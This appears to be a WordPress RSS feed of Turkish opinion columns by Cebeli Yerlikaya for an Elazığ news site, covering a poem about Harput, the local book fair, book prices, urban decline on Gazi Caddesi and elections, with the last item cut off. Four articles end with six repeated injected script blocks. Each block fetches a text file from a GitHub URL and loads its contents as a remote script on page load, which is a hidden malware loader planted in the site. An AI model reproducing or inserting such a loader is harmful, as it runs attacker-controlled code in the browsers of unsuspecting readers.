<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CEBELİ YERLİKAYA &#8211; Elazığda Güçlü Haber Sitesi</title>
	<atom:link href="https://elazigdagucluhabergazetesi.com/author/cebeli-yerlikaya/feed/" rel="self" type="application/rss+xml" />
	<link>https://elazigdagucluhabergazetesi.com</link>
	<description>elazığ haber</description>
	<lastBuildDate>Tue, 21 Jan 2025 19:17:59 +0000</lastBuildDate>
	<language>tr</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>ŞİİRDEN ŞEHİRE</title>
		<link>https://elazigdagucluhabergazetesi.com/2024/12/14/siirden-sehire/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Sat, 14 Dec 2024 11:46:10 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=8918</guid>

					<description><![CDATA[Bu hafta sizlere ne siyasetten ne ekonomiden ne de sosyal sıkıntılardan bahsedeceğim. Bir şehri anlatmak için illa ki uzun cümleler kurmaya gerek yok. Birkaç kelime, birkaç mısrayla da meramınızı anlatabilirsiniz...]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Bu hafta sizlere ne siyasetten ne ekonomiden ne de sosyal sıkıntılardan bahsedeceğim. Bir şehri anlatmak için illa ki uzun cümleler kurmaya gerek yok. Birkaç kelime, birkaç mısrayla da meramınızı anlatabilirsiniz. Elazığ şehri sahip olduğu büyük zenginliklerle birçok romana, hikayeye, şiire, şarkıya , türküye ve efsanelere konu olmuş kadim bir şehir. Bir şehri anlatan en güzel alanlardan biri de edebiyat. Bu anlamda şehirleri anlatan, edebî araçlarla tanıdığımız, bildiğimiz çok sayıda şehirler var. Bizler de bu hafta bu şehri bir şiirle sizlere anlatmaya ve aktarmaya çalışacağız. Yani şiirin o büyük büyüsüyle, şiirden şehire doğru bir yolculuk yapacağız. Bir dahaki köşe yazımızda farklı bir konuyla sizlerle buluşmak üzere sevgilerimi sunuyor, sizleri güzel bir Elazığ şiiriyle başbaşa bırakıyorum.</p>
<p>HARPUT&#8217;TAN FIRAT&#8217;A</p>
<p>Biz ki,iki nehir arası şehrin meftun yolcularıydık seninle<br />
Tek yürekli sandalın, çift kürekli çocukları.<br />
Acıya da bilendik, bir umarsız sancıya da<br />
Bir hovarda akşamda, çağırıp hancıyı da<br />
Gırnatanın sesinde, Ahçik&#8217;in pesinde<br />
Az mı nefeslenip, az mı demlendik hoyrattan<br />
Çıkıp Gülmez Tepesi&#8217;nde<br />
Çoşkun iki nehir gibiydik, dingin iki şehir gibi<br />
Bir günlük bir şey, bir anlık neşeydi sanki<br />
Öylece gelip geçtik<br />
Şimdi; eski bir duvarın, yıkılmış sol yanı gibi<br />
Taş kesilmiş her yanımız<br />
Yaşlı çınarlar gövdesiydi, üstüne gölge eden gençliğimiz<br />
Biz de taktık bir zamanlar, başımıza Sekiz köşe kasketi<br />
Sıyırıp koldan, omuz üstünde ceketi.<br />
Gazi&#8217;de ne naralar dilde, gelirdi saya<br />
Bir de çaldı mı kanunda, Harput’tan maya<br />
Ne gam kalırdı serhoş serde, ne dilde gelmeyen leyla<br />
Ne yangınlar yaktı çıramızı<br />
Ne fırtınalar koptu da bu fani canda<br />
Düşmedi elden, sönmedi mumu bir kez bile Çayda Çıra<br />
Biz de bilirdik, patlatıp maytapları<br />
Yakamozu seyretmeyi boğazda amma<br />
Fırat&#8217;ta başkaydı bakmak, seyr-i seyrana<br />
Dicle&#8217;de başka, devr-i devrana<br />
Ya bir de Harput&#8217;ta yatakalmak duaya<br />
Bir meyli misvak, bir leyli gönül yakmaktı<br />
Bilmezler Gakkom, namın ne hoştur<br />
Ne huştur, neyin yolu yokuştur<br />
Ney&#8217;ini çalmış, Harput&#8217;un içinde zaman<br />
Ney kalmış ki, çalınsın türküsü şimdi<br />
Şimdi kemanda çalınıyor, inceden inceye<br />
Şimdi kemanda, dinmeyen hüzzam.<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>5. ELAZIĞ KİTAP FUARI İZLENİMLERİ</title>
		<link>https://elazigdagucluhabergazetesi.com/2024/12/05/5-elazig-kitap-fuari-izlenimleri/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Thu, 05 Dec 2024 10:21:38 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=8859</guid>

					<description><![CDATA[Elazığ 5. Kitap Fuarı münasebetiyle geldiğimiz Elazığ’da birçok güzel anı ile güzel dostluklar biriktirdik. Fuar tahlili yapacağız demiştik geçen haftaki yazımızda. Bu yıl 5.si düzenlenen Elazığ Kitap Fuarında yine göze..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Elazığ 5. Kitap Fuarı münasebetiyle geldiğimiz Elazığ’da birçok güzel anı ile güzel dostluklar biriktirdik. Fuar tahlili yapacağız demiştik geçen haftaki yazımızda. Bu yıl 5.si düzenlenen Elazığ Kitap Fuarında yine göze çarpan ve gözden kaçan eksiklikler gözlemledik. Öncelikle Fuar alanını bizlere kazandıran ve emeği geçen herkese baştan teşekkür etmek gerek. Türkiye standartlarında bir fuar alanı hakkını vermek gerek. Fakat etkinliğin içeri ile ilgili aynı şeyi söyleyemeyeceğim. Önceki fuarlardan da gözlemlediğim ayrıntı, belli bir ideolojiye mensup yayınevi ve yazarların davet edilmesi veya yer verilmesi. Oysa bu ülkenin sayılı yayınevi ve her kesimden ideolojiye mensup yazarları var. Bunları getirmek lazım, bunlara söz hakkı vermek lazım. Siyasî kaygılarla yaklaşmamak lazım bu tür organizasyonlara.</p>
<p>Yazar ve ideoloji çeşitliliği fuara zenginlik ve derinlik katar. Fuarın etki ve cazibe gücünü ikiye katlar. Bir ikinci sorun, köy okullarının öğrencilerine ulaşılamaması. Taşımalı sistemle kitaba erişimi zor olan köy okulu öğrencileri fuar alanına taşınıp onların da kitaplarla ve yazarlarla tanışması sağlanabilirdi. Belediyemiz öğrencilere yaklaşık onbeş bin civarında kitap fişi dağıttı. Fiyat ayarlanmasında bir sıkıntı olduğu görüldü. Kitapların en az yüz elli iki yüz TL olması, buna karşın kitap fişlerinin yetmişbeş TL olması ayrı bir sorun teşkil etti. Fuar alanın iç temizliğinde de sıkıntılar göze çarptı. Her akşam fuar bitiminde temizlenmesi gereken fuar alanı ve stand altlarının temizlenmediği görüldü. Anonslar da Elazığlı yazarların imza günü ve isimlerinin anons edilmemesi bir diğer eksiklikti.</p>
<p>Kalabalık ve katılım diğer yıllara oranla düşük seviyedeydi. Bu durumun birinci sebebi Fuar takviminin ve tarihinin son dakikada belirlenmiş olması ve reklamda geç kalınmış olunmasıydı. Bunca sorun ve eksikliğe karşın güzel şeyler de yaşanmadı değil. Bu yıl Elazığlı yazarların stand tahsis ve sorumluluğunu üstlenen Elazığ Kent Konseyi ve kıymetli başkanı sayın Nafiz Koca çok güzel işlere imza attı. Elazığ’lı yazarlarımızla birebir ilgilenen, istişarelerde bulunan, her türlü konfor ve imkânı eksiksiz yapmaya çalışan bir yaklaşım söz konusuydu. Nafiz Koca başkan fuar boyunca gün boyu yazarlarla birlikteydi.</p>
<p>Çay ikramından tutun, yazarların fuar girişindeki afişlerine, yazarlarımızın kitaplarını tanıtma ve satma inceliğinden tutun medyadaki sesi olmaya kadar birçok konuda ön ayak olmayı kendilerine dert edinip, sorumluluk bildiler. Birçok siyasî parti temsilcisi ile stk temsilcilerini yazarlarımızdan kitap satın alıp katkıda bulunmaları için bizzat arayıp aracı olduklarına şahit oldum.</p>
<p>Biz Elazığ’lı yazarların aslında görmek istediği tam da buydu. Yani önemsenmek, dikkate alınmak, anlaşılmak, sorunlarımıza eğilen bir anlayışla tanışmak. Tüm bunların hepsini Elazığ Kent Konseyi başkanımız Sayın Nafiz Koca hocamızın gayretinde ve şahsında gördüm. Keşke diğer Siyasî partilerimizin kıymetli milletvekilleri, il başkanları, Oda başkanları, stk’ların kıymetli yetkilileri bu inceliği ve sorumluluğu gösterebilme gayretinde olabilselerdi. Keşke Kitap fuarları siyasilerin şov yapma alanları olmaktan çıkıp, her kitap fuarı sonrasında her bir siyasî partinin birer köy okuluna bir kütüphane yaptırması yönünde bir gayret içinde olabilselerdi.</p>
<p>Burada kent konseyiniz ve kıymetli başkanı Nafiz Koca hoca ile birlikte liyakâtin ne kadar önemli olduğunu gördük. Kent konseyiniz ve kıymetli başkanı Nafiz Koca hocaya ve ekibine gayretleri ve göstermiş oldukları özverileri için sonsuz teşekkürler ediyorum. Bir teşekkür de Elazığ Belediye başkanımız Sayın Şahin Şerifoğulları’na . Ayrıca fuarın başından sonuna kadar bizlerle olan, bizleri okuyucuya ve izleyiciye aktaran Elazığ’ımızın yazılı ve görsel medyasına, her bir kesimden herkese, kıymetli okur ve dostlarımıza sonsuz teşekkürler. Yeni fuarlarda daha az sorun daha çok okuyucuyla birlikte olmak dileğiyle.<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CEHALET ENFLASYONU</title>
		<link>https://elazigdagucluhabergazetesi.com/2024/11/29/cehalet-enflasyonu/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Fri, 29 Nov 2024 12:28:00 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=8832</guid>

					<description><![CDATA[Gelişmişlik diyoruz. Kalkınmışlık diyoruz. Yaşam kalitesi ve standartları diyoruz. Tüm bu kavramların bizlere anlattığı bir şey var. O da bu kavramların layıkıyla yerine getirilmiş olduğu toplumlarda, her bir alandaki standartların..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Gelişmişlik diyoruz. Kalkınmışlık diyoruz. Yaşam kalitesi ve standartları diyoruz. Tüm bu kavramların bizlere anlattığı bir şey var. O da bu kavramların layıkıyla yerine getirilmiş olduğu toplumlarda, her bir alandaki standartların üst düzeye ulaştığı, bununla birlikte toplumların diğerleriyle ayrıştığı ve önde yer aldığıdır. Yani dünya iki günde ipi önde göğüslediğidir. Peki bu önde olmanın, en iyi olmanın sırrı nedir?<br />
Bir toplumun bilgi hacmi ve hafızası ne kadar büyükse dünya üzerinde kapladığı yer de onunla orantılıdır. Toplum insan sayısının çokluğu ve yüz ölçümlerinin büyüklüğü ile büyük sayılmazlar. Barındırdıkları bilgi kapasitesi ve düzeyiyle büyük sayılırlar. O halde önceliğimiz bilgi ve bilginin kaynağı olmalı.<br />
O kaynak nedir?<br />
Tabi ki sahip olunan ve kayıtlar altına alınmış basılı hafızadır. Yani kitaplar. Önce taşlara kazındı bilgi, sonra parşömenlere, daha sonrasında ise kâğıda ve dijital materyallere. Günümüzde en sık kullanılan bilgi kaynaklarından biridir elbette kitaplar. Onlarla varlığı kavrıyor, onlarla yanlışla doğruyu ayırt edebiliyoruz. Onlarla ileriye adım atabiliyoruz. Adim atmadan yol aldığını gördünüz mü hiçbir kimsenin?<br />
Ya yerimizde saymayı tercih edeceğiz ya da hep ileriye hep en iyiye gitmeyi. İleriye gitmek; yeni şeyler görmeyi, yeni şeyler öğrenmeyi, yeni şeyler ortaya koymayı, bununla birlikte bir değişimi ifade eder. Yerinde kalmaksa, yerinde saymaksa köhnemişliği yenilgiyi kabullenmeyi. Yenilgiler eksiltir. Yenilgiler kaybettirir. Yenilgiler fakirce yaşamayı getirir. Oysa zengin bir zihinle her şeyin daha mükemmelini yaşamak mümkün. Kitaplar diyorum! Onlara giden yol ne mübarek bir yol. Onlarla kuşanan zihinler ve kalpler ne zengin ne engin. Bilginin sirayet ettiği toplumlar ve insanlara bakın. Kitaplara giden yollardan biri de fuarlar. Fuardayız. 5. ELAZIĞ Kitap Fuarı&#8217;nda. Fuarın katılımcı bir yazarı olarak, çeşitli gözlemlerde bulunuyoruz. Çeşitli diyaloglar kuruyoruz okuyucuyla. Katılım yüksek, okuma arzusu yüksek. Bilgi açlığı var. Fakat gelin ki bu açlığı tedarik edecek ve o kolaylığı sağlayacak zihinsel ve maddi ortam yok. Bir ülkede kitaplar niye pahalı olur ki? Okunmaması için mi, ulaşılması zorlaşsın diye mi? Büyük toplum kesimleri düşünme ve akıl yürütme denen yetiden mahdum kalsın diye mi?<br />
Yahut bu durumu stabil kılarak birilerinin konforunu kalıcı kılmak için mi?<br />
Sanırım hepsi. Okumak; cehalet enflasyonunu düşürmenin tek yolu. Kitaplara ulaşmanın yolunu açalım. Fuarların insan yığınlarıyla dolup taştığı ve kitaba rahatlıkla ulaştığı alanlar kılalım. Toplumsal iyileşme ve büyüme, kalkınma ve ileriye gitme ancak bununla mümkün olabilir. Haftaya Elazığ Kitap Fuarını ve analizini yapacağız. Güzel yarınlarda buluşmak dileğiyle.<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>MECBURİYET CADDESİ</title>
		<link>https://elazigdagucluhabergazetesi.com/2024/10/24/mecburiyet-caddesi/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Thu, 24 Oct 2024 13:35:34 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=8589</guid>

					<description><![CDATA[Elazığ. Tarihin, kültürün, folklör&#8217;ün, gastronomi ve keza turizmin birlikte nakşettiği ender kadim kentlerden biri. Bir şehir bunca zenginliği bünyesinde barındırır da insanı da o zenginlikten payını almaz mı? Elbet alır...]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img loading="lazy" decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Elazığ. Tarihin, kültürün, folklör&#8217;ün, gastronomi ve keza turizmin birlikte nakşettiği ender kadim kentlerden biri. Bir şehir bunca zenginliği bünyesinde barındırır da insanı da o zenginlikten payını almaz mı? Elbet alır. Hem de ziyadesiyle. Kimliğiyle, duruşuyla, karakter özellikleriyle ve de vatan sevgisiyle müstesna bir kişilik profili sergiler Elazığ insanı. Geçmişten bugüne bu özelliğiyle parmakla gösterilen şehir olmuştur Elazığ. Eğitimli, karakterli, kültürlü, kültürel değerlerinin zenginliği ile tanına  gelmiştir hep bugüne değin. Günlük kostümlerden biri olan Sekiz Köşe şapkasına yüklenen anlamlar da bu şehir ve insanının gerçek kimlik özelliklerini net olarak ortaya koymaktadır bu yönüyle. Dürüstlük, alçak gönüllülük, mertlik, çalışkanlık, cömertlik, doğruluk,yiğitlik, vatanseverlik, misafirperverlik bu şapkanın her bir köşesinde bir yer tutar kendisine.  Sırf bir şapka üzerinden bakarsak olaya Elazığ ve insanının ne kadar büyük değerlerle kuşandığını tasavvur edebiliriz. Bu büyük kültürün mayası, yapı taşı elbette ki Harput&#8217;tur. Harput; Elazığ’ın kalbi, çıkış yeri ve atasıdır. İçinde barındırdığı ne varsa Harput&#8217;un mirasıdır. Bu kadim şehir, içindeki kolejlerle, yetiştirdiği âlim ve ilim insanlarıyla, oluşturduğu kültürel ve folklorik değerleri ve musikisiyle, eğitim ve edebiyat dünyasına kazandırdığı değerleriyle, siyasetçi ve bürokratlarıyla  Anadolu’nun hep yüz akı ve aynası olmuştur. Caddeleri, sokakları ve mahalleleri bu büyük değerlerle dolup taşmıştır. Caddeler deyince Elazığ’da ilk akla gelen, Gazi caddesidir. Gazi Caddesi Elazığ’ın istiklal caddesidir bir anlamda. Farklı kültürlerden insanlar, renkli kişilikler, eğitim, kültür, sanat, son trendler hep bu caddeden çıkar ve akar. Cumhuriyet döneminden bugüne Elazığ’ın en elit, en güzel, en kültürlü, en eğitimli, en medeni caddesi olarak günümüze kadar gelmiştir. Şimdilerde bu caddeye “MECBURİYET CADDESİ “ diyoruz. Sebebini aşağıda bilahare açıklayacağım. Medenî, saygın, saygılı, bilinç düzeyi yüksek, demokrat insanların gün içinde yürüdüğü, biribirlerini selamladığı, düzeyli sohbetlerin yapıldığı, yerel Elazığ giysileri (Şalvar, yumurta topuk kundura, Sekiz Köşeli Şapka, yelek) giyenlerin yanı sıra, kravatlı, takım elbiseli bay ve şık giyimli bayanların gelip geçtikleri, mağaza ve dükkânlarında alışverişlerini yaptıkları elit bir caddeydi. Sadece bu cadde değil diğer cadde ve sokaklar ve mahalleler de bu tür görüntülerle gün boyu arzı endam ederdi. Kavga yok, muhabbet vardı. Kabalık yok, nezaket vardı. Gürültü yok, sükûnet vardı. Riya yok, doğruluk vardı. Dayılar vardı özü sözü bir, şimdiki mafya tipi dayılar yok, dayılanmak yoktu.  Bu durum, iki binli yılların başlarına kadar böyle devam etti.  İki binli yıllardan sonra resmen bu şehrin dibine dinamit konuldu. Şehir; siyasetin yandışcı, dinci, istismarcı, adamcı ve kayırmacı anlayışına kurban edildi. Demokrat şehir yapısının yerini; taasupçu, yenilikçilikten uzak, siyasetin tahakkümünde yaşayan insan profillerinin çoğunluk haline dönüştüğü bir şehir halini aldı. Yeni yeni gelenek ve alışkanlıklar empoze edildi. Elazığ şehri modern kimliğinden koparılıp, tarikat ve cemaatlerin cirit attığı, dindar görünümlü sahte müslüman kişiliklerin şehri tahkim ettiği bir yola doğru itildi. Şehir insanı bu yobaz anlayışın kişisel çıkarlarına çanak tutan zihin yapısıyla inşa edildi. Demografik yapının bozulması, bu işin tuzu biberi oldu. Şehir içi teksas sokaklarını aratmaz hale dönüştü. Her gün yüzlerce silah sesi, onlarca çatışma, ölü ve yaralı sayısında olağanüstü bir artış görüldü. Uyuşturucu satışı ve kullanımında patlama yaşandı. Fuhuş hakeza öyle. Cumhuriyet döneminin ilk eğitim kurumlarının yer aldığı, yüzlerce ilim erbabı insanının yetişip ülke gelişimine katkı sağladığı, kültürü, konumu, musikisi ve insanıyla Anadolu’nun  Hünkar mağfili şehirleri arasında yer alan Elazığ ve insanı, arzu edilmeyen olaylarla anılmaya başlandı. Yirmi, yirmi beş yıl öncesine kadar Türkiye’nin beş huzurlu şehrinden bir olan Elazığ, bu önemli şöhretini maalesef son yıllarda hızlıca kaybetmeye başladı.  Benliğini korumuş güzel insanları tenzih ederek söylüyorum, bu şehir artık silahlı çatışmaların eksik olmadığı, uyuşturucunun peynir ekmek gibi satıldığı, dedikodunun, riyakâr dindarların, siyasi tahakkümün adeta kazık çaktığı bir şehir hâline dönüştü. Keşke Mecburiyet Caddesi yanlızca canı sıkılanların volta attığı, işsizlerin zaman harcadığı, kimilerin ise mağazalarını gezip dolaştığı, çay ocaklarında keyifli muhabbetlerin yapıldığı masum mecburiyetlerin uğrak yeri olarak hafızalarda kalsaydı. Üzülerek söylüyorum,  Mecburiyet Caddesi dediğimiz Gazi Caddesi ve Elazığ, artık suçluların, hırsızların, mafyalaşmış gurpların, dedikodunun, şekilciliğin, tuhaf giyimli yeni yetmelerin, siyasal  islam simsarlarının gezip tozduğu ve masum, kişilikli, öz değerleriyle barışık, aklı başında, medeni Elazığ insanının tüm bunlara maruz kaldığı, bunlarla yaşamak mecburiyetinde kaldığı bir cadde haline dönüştü. Şehrin etkin değerleri etkisizleştirilip, etkisizliğe mahkum edildi. “Sahipsiz Elazığ” kavramı, bir şehrin yerlerde sürünen değerlerinin afişe olduğu söylemdir. Mecbur değil Elazığ geride kalmaya; bir anlayışa, siyasi tahakküme, işsizliğe, örfsüzlüğe, ahlaksızlığa, uyuşturucu kullanımına, silâh seslerine, dedikoduya, bilinçsiz insan yığınlarına mecbur değil. Ve mecbur, tüm bu olumsuzlukların yaşanmadığı bir şehirde tıpkı eskisi gibi sükun içinde yeniden hayat sürmeye.</p>
<p>Kısacası Mecburiyet Caddesi( Gazi Caddesi); Elazığın Orta Asya’sıdır. Kültür kompozisyonudur.  Bu şehir kültür, sanat ve musiki şehridir. Bu değerlerle değer bulabilir ancak Elazığ. Yetişmiş, donanımlı, liyakatli ellerle yapılmalı bundan sonra yapılacak olanlar. Aksi takdirde bu şehir ve bu  cadde bu haliyle güzelliklerin yaşandığı değil, kötülüklerin mecburi hale dönüştüğü bir yer olarak kalacaktır.<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SEÇTİM GİTTİ</title>
		<link>https://elazigdagucluhabergazetesi.com/2023/04/09/sectim-gitti/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Sun, 09 Apr 2023 18:47:21 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=7383</guid>

					<description><![CDATA[Mübarek seçim aylarına girerken, rabbimden tüm partilere ve oy verecek tüm Türk halkına akıl, fikir ve de izan vermesini niyaz ediyorum. Mübarek de nereden çıktı diyeceksiniz? Bu ülkede siyaset ve..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img loading="lazy" decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Mübarek seçim aylarına girerken, rabbimden tüm partilere ve oy verecek tüm Türk halkına akıl, fikir ve de izan vermesini niyaz ediyorum. Mübarek de nereden çıktı diyeceksiniz? Bu ülkede siyaset ve seçim kavramı o kadar kutsal ki, bu uğurda ölenleri mi dersiniz, hiç koşulsuz biat edenleri mi, kardeşi ile bile kanlı bıçaklı olanları mı, siyasi çıkarları uğruna tüm kutsalları bu kutsal uğruna mübah sayanları mı? Ne dilerseniz var.</p>
<p>Eee olay bu kadar kutsal olurda işin cihatçıları olmaz mı? Hem de sürüyle.</p>
